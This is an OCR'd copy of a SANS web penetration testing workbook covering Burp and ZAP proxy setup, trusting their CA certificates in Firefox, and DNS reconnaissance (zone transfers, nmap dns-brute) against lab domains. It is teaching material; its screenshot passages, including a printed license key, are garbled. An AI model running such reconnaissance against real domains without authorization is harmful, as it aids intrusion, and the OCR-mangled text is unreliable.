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Welcome to the Security542 Electronic Workbook!!
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Please run the workbook update command, shown below, to get the latest/greatest content.

workbook-update.sh

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 1


https://technet24.ir

Exercise 1.1 - Configuring Interception Proxies

Objectives

« Install and activate Burp Pro for upcoming exercises
+ Gain experience with the Burp Pro and ZAP proxies

+ Configure the Firefox browser to trust Burp Pro's and ZAP's root CA certificate.

Background

BurpSuite Professional Licensing

SANS includes a four (4) month license for BurpSuite Professional with this course. The license key is available in your SANS portal,
and this lab will walk you through obtaining the license key and activating it within BurpSUite Professional on your course virtual
machine.

Installing and Activating BurpSuite Professional's Four Month License Key

Challenges

+ Obtain the License Key from within your SANS Portal
« Input the License Key into BurpSuite Professional

« Activate the License Key with PortSwigger over the Internet

2 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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Solution - Installing and Activating the License

1. Surf to https://www.sans.org and click Login.

> Login  Join Community, )
Sm :
v

i Find Training  Live Training  Online Training Programs Resources Vendor About

The most trusted source for information security training, certification, and research.

SANS Security Awareness
Professional Credential (SSAP)

The first: industry gnized, dential in security awareness

SECURITY
AWARENESS

Coming soon: The most effective, comprehensive way to accelerate your career and
advancement opportunities in the field of managing human risk. Sign up to learn how you can
be the first in line to receive your credential.

= r— 1 298 5
Leam More »

Log in with your SANS Portal credentials (the same email address/account you used to sign up for class).

@w N

Go to the Account Dashboard.

Welcome I
Account Dashboard

Programs My Applications

My Orders

My Webcasts
Account Profile

Communication
Preferences

Logout

4. Click on Burp Trial License SEC542 (under My Links).

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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Account Dash

Account Details My Online Training

+ Account Profile « SANS OnDemand
+« Communication Preferences « SANS OnDemand via ACLP
+ My Orders

+ My Applications

« My Account Secret

» Logout
My GIAC Certification My Links
We didn't find any certification records for your account. « Burp Trial License NN

Increase your value as a security professional, start the
certification process today.

« Comp Request

o

. Click Copy to copy the license key to the clipboard.

(@) Burp PRO Trial License
For: Web App Penetration Testing and Ethical Hacking
User: econrad(@

Expires: Aug 1, 2021
Key:| Copy

02+ka0TDB6P2WI jEKb/ gwtm7xH+UriTi+mscag8 fxbZmvYAn2zh0ulg9gCfbOHS4my+ba7158SNPAJgErI0M60JVM3cBioemDeLeT2d+/ oHeMbdP9IgypTOhRCVE+ANS
JK90zWXE09FTh]l 2EwTHHOONMIb TREUGGNSLeXzivn I SkINKSsCCQeL /NPwv5Sa TNRuFFFupwuJL3wQ+1k6x/18cRgecSEdbet f6Hyaw+toNFgl5TtQ5kMCEzzuxf6MwIs
ZuQSDGA+S /0JASQQhPkgGiFugYEAqdhwTmQvgEcUW4 I4to/uBwzAx51+uUMhi0fSrl1EtZexrdVe IHzamer ShTwiVPI9LE9t 7kVxsBitid JgNNBgjBagluJg628103a3w
wl3zKCP6rtsvEd IMfoGdIRLZX+EPFmALISIBiR1sFSI+nTSvvO8BWCHNP50tbwlGR5plghtTeaHrVVoD6RIRPMZ6piq95CK2ygAOTGEPygxDODY(Q7cIsN5 2DPNazm+BO
4bjMpbfeexsrj1TSEWNAAT6OELHY/uf20QrUT JAFMEtAZhc4G1lhNOhImeefICKGzXi¥TuldbyLpid+0oCk2ePcktbF3XNhpOxullUakr85XJd/dFkBVHFnOxmy 7xr7g2
OndcE2007kE7cyEQLYrANovoyWVD ] iWnKMOPJWChFWADD T 7TmaB0gCTxn 1DcJB2HEXCPrpE4mIAZY /dggsREmamGIQ 7o jVnme ¥ JwQ4 kggQWozUas0pt lnU19¥11tne
zy3heVIODEyB3rpNmfb7NITF/NhévpreeIgLgOT4hXKeX/EINEUUPe/ TKIhPOWUOYPyBIZr JGaKXgpbk I0CPOEL 3B1s 3PHCkgn3IMILvoMwF5cULIEBU / lyAwZeIh==

6. In the SEC542 VM, open Burp Professional by clicking on the Burp Pro icon in the upper right corner.

7. Wait for Burp Pro to launch.

4 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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Burp Suite

Professional

8. Paste your license key and click Next.

=

Al Burp Suite Professional - 4 A

Enter license key

Thiswersion of Burp requires a icense:key. To continue, please paste your
Heense key below, or load it from file.

Ik|:|h.EDrEwLBEQIBqusquSZgWCwNjEEIb|:|3kirr4ia=av\"ﬁ.n22h[!lujqElngbDHS.tlm |
| y+ba7IS5MNFAjQErIOME0NM3cBZoQemDcleT2d+/oHeCEUIw3j4foeQp3ej2o5IPK
| S0ZWXED9F]h1zEw|HHoOP SwdGFEVIKP KBWAY 1 BhIfUINXSsCCQel ThAAK pEBiz

M1nHRVEESy ASKGAL |mvfAllB+dfKstu4RSIS3h DT kGiI+UPuwH 1 rerPP+BantalMysH
| QLBaWBDx=DBRgGyBkRtuDnitmooxlgWMOGRBBO uBEs/S6MNZKGZKBaTKGRPLOD
| OVABDUUFAK+B] S« zxuW2 Twit|aXSVTFIUSpREATH K r EVEZ zsMWay b BZTTy
| QOGbF1QMeq2zLIFujQMENIaFOX3Tg%joBdZrVTUBUCAMEWKS3PIvYuH]b3Cw

Kl zqDZDGTTRwEKIFXoAlgHasR20agalWzPudkCiEDagNenowNjoghri20F01 Ek
| CrodvAivRtngdIutBY TxHXEUxcTENUBAWPSKZEHENd xd+Ds7CFYZOF+50a7TelB
| yMBIWChutd X TZ45x X720 M 7s4THSr BhgasGBmLgsXluWo ZcldiruYeAGR UK YE)
| FGQ+SIHNIRVD{tQkVGKBE/GIENHP 7iXhofy p41RdF4D 1 HXeP g 68GiamXC+2U0 oW
| sgBbcntPuaiBKVIHCHINSkto EHd cul UsULMOPWIBE GeHtefiWSr URBKBXBSmsMT
| ¥1gxhHPQISQtSDZbvGFZ00YNFowDBR4coUch Kb OHLGFES 1 oGy CTTSXotd00MC

DEswiWtGSRAUMMESDW3ceOrCTCgbeTORIBAMgzy FRYDITfz5d UAKBuU/ Iy AwZel
| A==

Select license key file ..

e ) (EEED

9. Press Next again on the Activate License screen. If the orange Next button is hidden, widen the window to see it.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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A Burp Suite Professional - 4 ¥

Activate License

Burp will now attempt to contact the license server and activate your license.
Thiswill require Internet access. If you access the Internet via a web proxy
server, please enter the details below.

MOTE: license activations are monitored. If you perform too many activations,
further activations for this license may be prevented.

If the “Next”
button is
hidden: widen the
window to see it

Cancel || Re-enter license key

al activation
.
> Burp Suite Professional = E X

Activate License

Burp will now attempt to contact the license server and activate your license. This will require
Internet access. If you access the Internet via & web proxy server, please enter the details below.

MOTE: license activations are monitored. If you perform too many activations, further
activations for this license may be prevented.

Use proxy server to connect

| Cancel | | Reenterlicensekey | | Manual activation |m

10. Then press Finish.

6 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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% Burp Suite Professional - + x|

Success

Your license is successfully installed and activated.

Warning

If you receieve a prompt to update Burp (as shown below), click Close as any new or changed feaures may impact future lab
exercises.

v Burp Suite Professional = X

An update is available. Please select the build that you want to download.

Version: Burp Suite Professional 2022.5.2

Description: This release upgrades Burp's browser to Chromium 103.0.5060.53, which
patches a critical security issue.

Release notes: https://portsw nal-community-2022-5-2

er.net/burp/releases/pi:

Builds: Windows installer (64-bit)  234Mb
© Linux installer 240Mb
macOS (Intel chip) 223Mb
macOs (Apple chip) 216Mb
Plain JAR file 526Mb
Don't show again for: v

Close

11. Press Next (do not change any settings) on the Project screen.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 7
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12.

> Burp Suite Prof

13l v2021.2.1 - lic

@ Welcome to Burp Suite Professional. Use the options below to create or open a

d to SANS Institute - 756588 1916656067559c77ach [1 userlicer ~ + X

BurpSuite

Use Burp defaults

Use options saved with project

© Load from configuration file

Default to the above in future

Disable extensions

@ Select the configuration that you would like to load for this project.

File
/fopt/BurpSuitePro/sec542-pro-settings.json

File: | /opt/BurpSuitePro/sec542-pro-settings.json

Cancel

project.
Professional
o Temporary project
New project on disk Name: | |
File: | ‘ | Choose file. . |
| Open existing project Name File
File: Choose file...
==l -
Finally, press Start Burp (and also keep the default settings).
v Burp Suite P 1v2022.3.9 - li d to trial user [single user license] e

BurpSuite

Professional

Choose file...

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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Warning

Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.

v Delete old temporary files? x
Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' \ Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019 /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019 /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019 /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

(o

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

Configuring Firefox to trust both interception proxies' root CA certificates

Background

In the upcoming Authentication labs, browsers such as Firefox will begin warning about entering credentials via unencrypted sites. For
example: surf here in Firefox, and attempt to enter a username: http://www.sec542.org/form/

User

This connection is not secure. Logins
#& entered here could be compromised,
Learn Maore

View Saved Logins

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 9
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Surfing to https://www.sec542.org/form/ (the same URL using 'https://') via Burp Pro generates this Firefox warning: 'Software is

Preventing Firefox From Safely Connecting to This Site'".

Software is Preventing Firefox From Safely
Connecting to This Site

www.sec542.org is most likely a safe site, but a secure connection could not be established. This issue is
caused by PortSwigger CA, which is either software on your computer or your network.

What can you do about it?

o If your antivirus software includes a feature that scans encrypted connections (often called “web
scanning” or “https scanning”), you can disable that feature. If that doesn't work, you can remove and
reinstall the antivirus software.

e If you are on a corporate network, you can contact your IT department.

o If you are not familiar with PortSwigger CA, then this could be an attack and you should not continue to
the site.

Learn more...

Go Back (Recommended) Advanced...

[] Report errors like this to help Mozilla identify and block malicious sites

The current version of Firefox allows clicking through this warning (click on Advanced -> Accept this Risk and Continue). This may
change in the future, as browsers are becoming more strict in an effort to protect end users from various attacks.

The Firefox error is generated because Burp and ZAP are intercepting the request and providing the browser with a "spoofed” certificate
signed with the interception proxy's root CA certificate. We will address this issue by importing Burp Pro's and ZAP's x.509 certificates
into Firefox, which will allow proxying SSL/TLS without warnings such as this.

Setup

1. In the SEC542 VM, open Burp Pro and then open Firefox.

¥ 90O L -5\

ﬁ

Trash

2. Do not upgrade Burp (during class) if prompted with "An update is available. Please select the build you want to download." Instead
simply click Close.

10 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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3 Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the
default option of Use Burp Defaults)

4. Wait for Burp Pro to launch.

Warning

Run one instance of Burp pro only. If you only have one instance running, you should not expect to see the popup below:

v Delete old temporary files? X
Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

Delete

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

5. In Firefox: go to the proxy selector, and choose Burp Pro.

voin @

«" [Direct]

O [system Proxy]

@ Burp Community
Burp Pro

F @ Zap \

Y localhost ~

/& Options

Note

Please do not bypass the Firefox SwitcyOmega proxy selector plug-in, or attempt to replace it with an alternative plug-in. Doing so
can break Firefox's ability to properly proxy via Burp ot ZAP.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 11
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Challenges

+ Import Burp Pro and ZAP's SSL certificate into Firefox.

« Confirm it is working by proxying to https:/www.sec542.org/form/ via both Burp Pro and ZAP

« Verify Firefox considers the connection secure (by displaying a lock icon before the URL)

12 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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Solution - Burp Pro

1. In Firefox, surf to http:/burp.
2. Click on CA Certificate.

EutE Siite Fueeasionals Mo I Fisine

-

®! BurpSuite Professional X | +

Ilf;,l =¥ EE: [':D httpﬂburd W ees ol » =
bl

Burp Suite Professional  cAceriicate

Welcome to Burp Suite Professional.

Then choose Save file, and click OK. This will save the certificateto /home /student/Downloads/cacert.der .

w

Opening cacert.der: +

You have chosen to open;
‘which is: X.509 Certificate (973 bytes)

What should Firefox do with this file?
(_)Openwith | View file (default

Dbﬂ this autornatically for files like thi s fromt how on.

el | [ ox

4. Click on the Firefox hamburger menu (upper right), and choose Settings.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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(&)

&iow

Sync and save data sign In
New tab Ctri+T
New window Ctri+N
New private window Ctrl+Shift+P
Bookmarks >
History >
Downloads Ctrl+Shift+Y
Passwords

Add-ons and themes Ctrl+Shift+A
Print... Ctrl+P
Save page as... Ctrl+S
Find in page... Ctrl+F
Zoom 100% + /
Settings ‘

More tools >
Help >
Quit Ctri+Q

. Click Privacy & Security.

Q Sync

More from Mozilla

O Find in Settings

£33 General Browser Privacy
(@) Home Enhanced Tracking Protection
Trackers follow you around online to collect information about £
Q_ search Manage Exceptions...
your browsing habits and interests. Firefox blocks many of these
) . trackers and other malicious scripts. Learn more
8 Privacy & Security

O standard

Balanced for protection and performance. Pages will load normally.
Firefox blocks the following:

» Social media trackers

» Cross-site cookies in all windows (includes tracking cookies)
« Tracking content in Private Windows

* Cryptominers

« Fingerprinters

14
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6. Scroll to the Certificates section (at the bottom), and click View Certificates....

{:6_:3 General
@ Home
Q Search

& Privacy & Security Block dangerous and deceptive content Learn more

Security

Deceptive Content and Dangerous Software Protection

Block dangerous downloads
Q Sync

Warn you about unwanted and uncommon software

E More from Mozilla

Certificates

Query OCSP responder servers to confirm the current validity of certificates View Certificates...

Security Devices...

7. Click on the Authorities tab and then Import.
Certificate Manager X
Your Certificates Authentication Decisions People Servers Authorities
You have certificates on file that identify these certificate authorities L

Certificate Name | security Device |
v AC Camerfirma S.A.

Chambers of Commerce Root - 2008 Builtin Object Token

Global Chambersign Root - 2008 Builtin Object Token

v AC Camerfirma SA CIF A82743287

Camerfirma Chambers of Commerce Root Builtin Object Token

Camerfirma Global Chambersign Root Builtin Object Token

View.. Edit Trust... Import... Export... Delete or Distrust...

8 select /home/student/Downloads/cacert.der andclick Open.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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1

9.

o

Select Trust this CA to identify websites, click OK, and click OK again.

Certificate Manager X

View... Edit Trust... Import... Export... Delete or Distrust...

—

|

. Now surf to https://www.sec542.org/form/ and verify that the connection is now secure (lock before the URL).

16 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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Form Authentication - Mozilla Firefox

I8 Form Authentication b.d ‘ =t
& e o | O | @ nrps/mwsecsazorg form R neo @ e =
1} Most Visited mSeCS-dz Wiki .Untmsted-.éausef_j_a.., m Untrusted Solutians
User
Password
| Login |

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

17


https://technet24.ir

Solution - ZAP

1. Open ZAP.

Warning

If you see this error: ZAP's root CA certificate has expired...: go to Tools -> Options -> Dynamic SSL Certificates. Then Press
Generate, Yes, and OK.

N

. In Firefox, select Zap from the proxy selector menu.

n o .

<" [Direct]

| O [System Proxy]

@ Burp Community
Burp Pro

ER

Y localhost ~

/ Options

3. Close Firefox (to clear out the previous session data) and reopen it.

4. In ZAP, Go to Tools -> Options.

18 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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Eile Edit View Analyse Report inlne Help

| standard Mode () | L &
e

¥ (5 Contexts
] Default Context

@ Sites

Jﬁm 5, Search T U Ale
@ @ | Filter: OFF ¢ Export
Id | Req. Time... | Me... | URL

Filter...

Browse API

Encode/Decode/Hash...

Toggle Break on All Requests

Toggle Break on All Responses

Submit and Step to Next Request or Response
Submit and Coentinue to Next Break Point
Bin Request or Response

Add a Custom HTTP Break Point...

Active Scan...

Spider...

Manual Request Editor...

Run the Garbage Collector

WebSocket Message Editor

Import a File Containing URLs

AJAX Spider...

Fuzz...

Launch the ZAP JxBrowser

Replacer Options

Options...

Ctrl+E
Ctrl+B
Ctrl+Alt+B
Ctrl+S
Ctrl+C
Ctrl+X
Ctri+A
Ctri+Alt+A
Ctrl+Alt+5
Ctrl+M

Ctrl+1
Ctrl+Alt+X
Ctri+Alt+F

Ctrl+R
Ctri+Alt+0

el o

W

tool for finding

nd press ‘Attac

' Zed At

tions that you h

v
l&:nn_‘—"f
- [Tags @

A

-

“Alerts R0 20 0 RO

Current Scans 40 &0 20 ©0 %0 /0 #¥

.
Ad
0

5. Choose Dynamic SSL Certificates and click Save.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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- Dptions + X

¥ Options A

~ Dynamic SSL Certificates il
Active Scan
Active Scan Input Vector: 2 B ~ £ - T
AIAX Spider . Root CA certificate: | ypxrj ayNTAwi] CBRTENMCUGALUEAwweT1dBUAGNVKIEFOAGF ] &

| -_@_G—E_ b2 90T ENBMREWFWYDVQOHDBA4ZNZ10DIzY J TkZmOSHmIhMR Y wFAY DY
Alerts | i Generate | LCBSb296TENBMROWGAYOVQOLDBFPYAFTUCBaQVAgUMIvdCBDGTE
Anti-CSRF Tokens o T eHgwggEIMABGCSqGSIh3DQEBAQUAAAIBIWAWGIEKADIBAQCS reoy
AP ks Import | 815110DLjIR3aN+t jBetByZChukvdI1LEASpAF/Xy+0HskD12ID2
Applications NnAoMd VX rSEZkdPPEpFt lpdgON78z riYJPwaGkathva?cldr\'

00QnBPYZNUyK485GTL+5FalXAnVGOgZTHwW,/431sV1YRGr3 UG LOKI
pLegUugptOVegaWly7dpzUZZ58tEd0Gt 1qvzP306ILwpgvDBKMYE
VSBbTutyQ/0/cOf rHT5508000Zhrf2nkKz0vIesqhacuMdrbAl rapl

Breakpoints
Callback Address

Certificate vy rAgMBAAG ] ggF+MIIBe j CCATMGALUADGSCASOEQEMMITRT j ANI
Check Fer Updates AQEFAADCAQBAMIIBCgKCAQEAUa3qLOUGSSFThOIdP/ JbCSdAydyE
Connection am7 1 r+CNSXNEqTBF18vB7 IASd1ATteFwt/ 05ePFRDZWKDHSVVERI
———— X¥Aze/MEAMCT xMMR rwpMYX9L5u3 JXWITANORALHTF jkIwT /WThs il

_ wI1R] 0GUxEP+NybFAWEUKI5YOpZUC18170wDHI4FEKSANFLgghT Lt
Display _ WUVLRHThrdar8z960iC8KYLzul JF/K24B+ZMelx FOFeQWa7nBKPw,
Dynamic S5L Certificates BEGYa39pysz ryHrkgGnlj0K2wCa,/KicgrH406pTsht 78qwIDAGABI
Encode/Decode /WOFMAMBAT 8wCwWYDVROPEAQDAGG2ZMCMGALUD 1G0CMBOGECsGAQUFI
ExbaRsianE BOcDAQYEVROTADANBgkghki GOwBBAQsFAADCAQEAC feGhy/ yL201H:

nGSzZvZ2IrSFynSUKwl/YogmvriNFs9z8/ z /whhvS3uk I T4NkyNZS 11

Forced B : .
AL IR W73apNYRrlzyqPCWOWLULWG 1dU/ mbebS5ZuljA7Q/ ZMEFS9zSTYxX

Fiecoer _/ L1DvPokNenS1r416RU6rmaq23Uixlx+A1KS5zbV rD/HadXedLyey-
Global Exclude URL (Beta LsXGdkNZAXgXzVgI1ZsyXPhK1d/eUENdmTAmMGKXPY 1RO/ hTDGpUW:!
HTTP Sessions VDIxvpd47/ND8+pRSRyoS9Nc ] SUBWKRhSZMVR rpETZZXILEKS JNR!
L O (R T END CERTIFICATE-----
Keyboard e > i— s
Language
Local Proxies [_d‘, view | | kg save |
Passive Scan Rules
Passive Scan Tags :

ELS TV >

| Reset to Factory Defaults J cancel | LO—_KJ

saveto /home/student/owasp_zap_root_ca.cer andclick Save.

o

v Save + X

Look In: [ﬁstudent ﬂ | @ | @) @[ E] 8|
(& Desktop (& Pictures [ lastnames
(& Documents (& Public [ post.txt
(&5 pownloads (& Templates
(&5 1abs (&5 videos
(&5 Music (&5 workbook
(& php-mysgl-fix-master [ | combined

File Name: owasp_zap_root_ca.cer

Files of Type: | All Files v

[ Save ] [ Cancel ]

7- Go to the previous section and follow the steps, beginning with Click on the Firefox hamburger menu.... Then import ZAP's certificate ( /home /student/

owasp_zap_root_ca.cer)
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- Sele_;fc Fil:e_i:pn I_:aining__l:ﬁ ;gr_tifi';atg{s} to_im_p ort i
© Recent q Downloads | b

fa} Home Name v | Size Modified
= Desktop B Desktop Fri

| | Dotuments || Documents 1 Oct 2018
&) Downloads &) Downloads 07:40

,.I'J Music Ea labs Tue
- J3 Music 1 Oct2018
B Pictites B owasp zap root cacer

Videos i php-mysgl-fix-master 12 Mar [
& Sinartocation B Pictures 1 Oct 2018
' Lr public 1 Oct 2018

lﬂert'_rﬂ-cate Files |

|_ & cancel || =iopen ‘

fecl

. Now surf to https://www.sec542.org/form/ and verify that the connection is now secure (lock before the URL).

e _Form Authentication - Mozilla Firefox TR

x‘+

HIB Form Authentication

(€)= & @
e

L4 MostVisited [ Secs42 Wiki [B] Untrusted -a user ja.. [ Untrusted Solutions

[ © | & nttpsiww secS42.orgiform/ see {_‘fl

neo ©&e

User

Password

| Login |

1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox proxy selector drop-down and choose [Direct].
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N @
e
© [System Proxy]
@ Burp Community

Burp Pro
@ Zap
Y localhost ~

/& Options
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Exercise 1.2 - Virtual Host Discovery

Virtual Host Discovery is a key component to find "hidden" applications on a web server. In network-based assessments many times the
web application is not found without virtual host discovery, and for pure web application assessments other content that may affect the
overall security of the system are uncovered.

Objectives

« Discover names that may be associated with virtual hosts in a target environment
* There are at least two (2) hidden virtual hosts for you to uncover.
+ Use multiple techniques for discovery:
* Active DNS Queries
* DNS Zone Transfer
* DNS "Bruteforcing”
* Online DNS Databases

« Certificate Transparency Logs

Lab Description

We will perform reconnaissance on several domains:

+ sec542.org: The primary domain we will use all week
- sec542.net: A new commercial offshoot of Sec542, Inc.
» sec542.com: Used for Internet-based components of the course

« sans.org: A real-world domain to explore
Lab goal: Use multiple techniques to discover names that may be associated with virtual hosts.

« Virtual hosts are often “unpublished,” and discovering them can lead to excellent web application penetration testing results!

Lab Setup

Log in to Security542 VM:

» Username: student

+ Password: Security542

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 23


https://technet24.ir

Challenges

Active DNS

Perform the following steps:

+ Use dig against sec542.org and sec542.net to search records with type "ANY"
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Solution

1. Open a terminal in your Sec542 Linux VM by double-clicking the terminal icon.

2. Then type the following command:

dig sec542.org -t any

3- In the resulting output, pay particular attention to the ANSWER SECTION . You should see the following output:

;i Query time: 8 msec

;3 SERVER: 127.0.0.1#53(127.0.0.1)

i3 WHEN: Wed Jun 15 17:13:47 UTC 2022
i3 MSG SIZE rcvd: 228

-1s il

b _ Terminal - student@sec542: ~ S
File' Edit View Terminal Tabs Help

[~1% dig @localhost sec542.0rg -t any

; <<>> DiG 9.16.1-Ubuntu <<>> @localhost sec542.org -t any

; (1 server found)

;i global options: +cmd

;3 Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24846

;i Tlags: gr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: @, ADDITIONAL: 1

i+ OPT PSEUDOSECTION:

; EDNS: version: @, flags:; udp: 4096

; COOKIE: c850066fbh570809a0100000062aa134b24b31fch78a42796 (good)

i+ QUESTION SECTION:

;sec542.org. IN ANY

i+ ANSWER SECTION:

sec542.o0rg. 86400 IN SOA nsl.sec542.0rg. admin.sec542.o0rg. 2022080201
28800 3600 604800 38400

sec542.0rg. 86400 IN A 10.42.42.42

sec542.org. 86400 IN NS nsl.sec542.net.

sec542.o0rg. 86400 IN MX 10 mail.sec542.net.

sec542.org. 86400 IN TXT "So long, and thanks for all the fish."

4. Here's a brief explanation of the fields:

Record Type Description

SOA Start Of Authority. Describes the DNS zone itself
A Maps a name to an IP address

NS NameServer

MX Mail eXchanger

TXT Text record, can contain free-form text

5. Next, run the same command against sec542.net:

dig sec542.net -t any
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6. In the resulting output, again pay particular attention to the ANSWER SECTION . You should see the following output:

- Terminal - student@®sec542: ~ = =
File Edit View Terminal Tabs Help
[~]1% dig sec542.net -t any

; <<>> DiG 9.16.1-Ubuntu <<>> sec542.net -t any

i; global options: +cmd

;; Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29122

;3 flags: gqr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: ©, ADDITIONAL: 1

;5 OPT PSEUDOSECTION:
; EDNS: version: @, flags:; udp: 65494
i+ QUESTION SECTION:

isec542.net. IN ANY

;3 ANSWER SECTION:

sec542.net. 86400 IN SOA nsl.sec542.net. admin.sec542.net.
2022080101 28800 3600 604800 38400

sec542.net. 86400 IN A 10.42.42.42

sec542.net. 864008 IN NS nsl.sec542.net.

sec542.net. 86400 IN MX 10 mail.sec542.net.

;3 Query time: 0 msec

;3 SERVER: 127.0.0.53#53(127.0.0.53)
;3 WHEN: Wed Jun 15 17:16:11 UTC 2022
i+ MSG SIZE rcvd: 136

i-15 il

o

+ Attempt a DNS zone transfer of the sec542.org and sec542.net zones
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Solution

1. Many tools can perform a zone transfer, including both DNSRecon and Nmap (with the dns-zone-transfer NsE script).
2. we'lluse di & because we just used it for the previous step.

3 The syntax is the same as the previous step, except change @any to aXfr and, to avoid zone transfers from being blocked by our DNS hierarchy, add @127 .0.0.1 to
target the Bind DNS service directly.

4. Type the following command to perform a zone transfer with dig versus sec542.org:

dig sec542.org -t axfr @127.0.0.1

5. The zone transfer will be successful, downloading the entire sec542.org zone:

[~]1$ dig sec542.org -t axfr @127.0.0.1

; <<>> DiG 9.16.1-Ubuntu <<>> sec542.org -t axfr @127.0.0.1

;3 global options: +cmd

sec542.org. 86400 IN SOA nsl.sec542.org. admin.sec542.org
. 2019080201 28800 3600 604800 38400

sec542.o0rg. 86400 IN A 10.42.42.42

sec542.org. 86400 IN NS nsl.sec542.net.
sec542.org. 86400 IN MX 10 mail.sec542.net.

sec542.org. 86400 IN TXT "So long, and thanks for all the
fish."

ajax.secb542.org. 86400 IN CNAME bootcamp.sec542.org.

attacker.sec542.org. 86400 IN A 172°17.052

auth.sec542.org. 86400 IN CNAME  www.sec542.org.

bootcamp.sec542.0rg. 86400 IN CNAME  www.sec542.org.

cyberchef.sec542.0rg. 86400 IN A 10.42.42.42

drupal.sec542.o0rg. 86400 IN A 172.20:.0:3

drupal2.sec542.org. 86400 IN A 1725235052

dvwa.sec542.org. 86400 IN A 10.42.42.42

heartbleed.sec542.0rg. 86400 IN A 1725182052

inapickle.sec542.0rg. 86400 IN A 172.29.255.21

mail.sec542.org. 86400 IN A 10.42.42.42

nsl.sec542.org. 86400 IN A 10.42.42.42
scanner.sec542.org. 86400 IN A 10.42.42.42

shellshock.sec542.org. 86400 IN A 172:18.0-2

workbook.sec542.org. 86400 IN A 10.42.42.42

www.sec542.o0rg. 86400 IN A 10.42.42.42

sec542.org. 86400 IN SOA nsl.sec542.org. admin.sec542.org
. 2019080201 28800 3600 604800 38400

;3 Query time: 0 msec

;; SERVER: 127.0.0.1#53(127.0.0.1)

;3 WHEN: Wed Jun 29 15:35:06 UTC 2022

;3 XFR size: 22 records (messages 1, bytes 630)

6. Type the following command to perform a zone transfer with dig versus sec542.net:

Warning

The zone transfer will fail against sec542.net.

dig sec542.net -t axfr @127.0.0.1

7. The following output shows the zone transfer against sec542.net was unsuccessful:

[~]1$ dig sec542.net -t axfr @127.0.0.1

; <<>> DiG 9.16.1-Ubuntu <<>> sec542.net -t axfr @127.0.0.1
;3 global options: +cmd
; Transfer failed.
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8 While not formally part of this lab, the syntax for performing DNS zone transfers with both DNSRecon and Nmap, via the dns-zone-transfer NSE script, are below:

« Here is the dnsrecon.py zone transfer syntax:
dnsrecon.py -a -d sec542.org
+ Here is the Nmap zone transfer syntax:
nmap —-script=dns-zone-transfer sec542.org

9- While the output format from Nmap may differ from di £ . the results will be the same.

+ Use Nmap with the dns-brute NSE script to perform a DNS brute force scan of names in the sec542.net domain
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Solution

1. The sysadmins at sec542.net appear to be (more) on the ball and have wisely restricted zone transfers.

2. We will launch a DNS brute force attack versus sec542.net.

Note

While commonly called a DNS brute force attack, it is a wordlist or dictionary attack.

3. Run the following Nmap command:

nmap --script=dns-brute sec542.net

4. In the output, note the newly identified hosts discovered using this technique. You will see the following output:

nf Terminal - student@Security542: - - + X
File Edit View Terminal Tabs Help

[~]% nmap --script=dns-brute sec542.net
Starting Nmap 7.7@ ( https://nmap.org ) at 2019-06-15 14:42 PDT
Nmap scan report for sec542.net (10.42.42.42)
Host is up (0.00011ls latency).

rDNS record for 10.42.42.42: www.sec542.org
Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

80/tcp open http

443/tcp open https

Host script results:

| dns-brute:

| DNS Brute-force hostnames:

| test.sec542.net - 10.42.42.42
| nsl.sec542.net - 10.42.42.42
| mail.sec542.net - 10.42.42.42
| www.sec542.net - 10.42.42.42
| ftp.sec542.net - 10.42.42.42

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

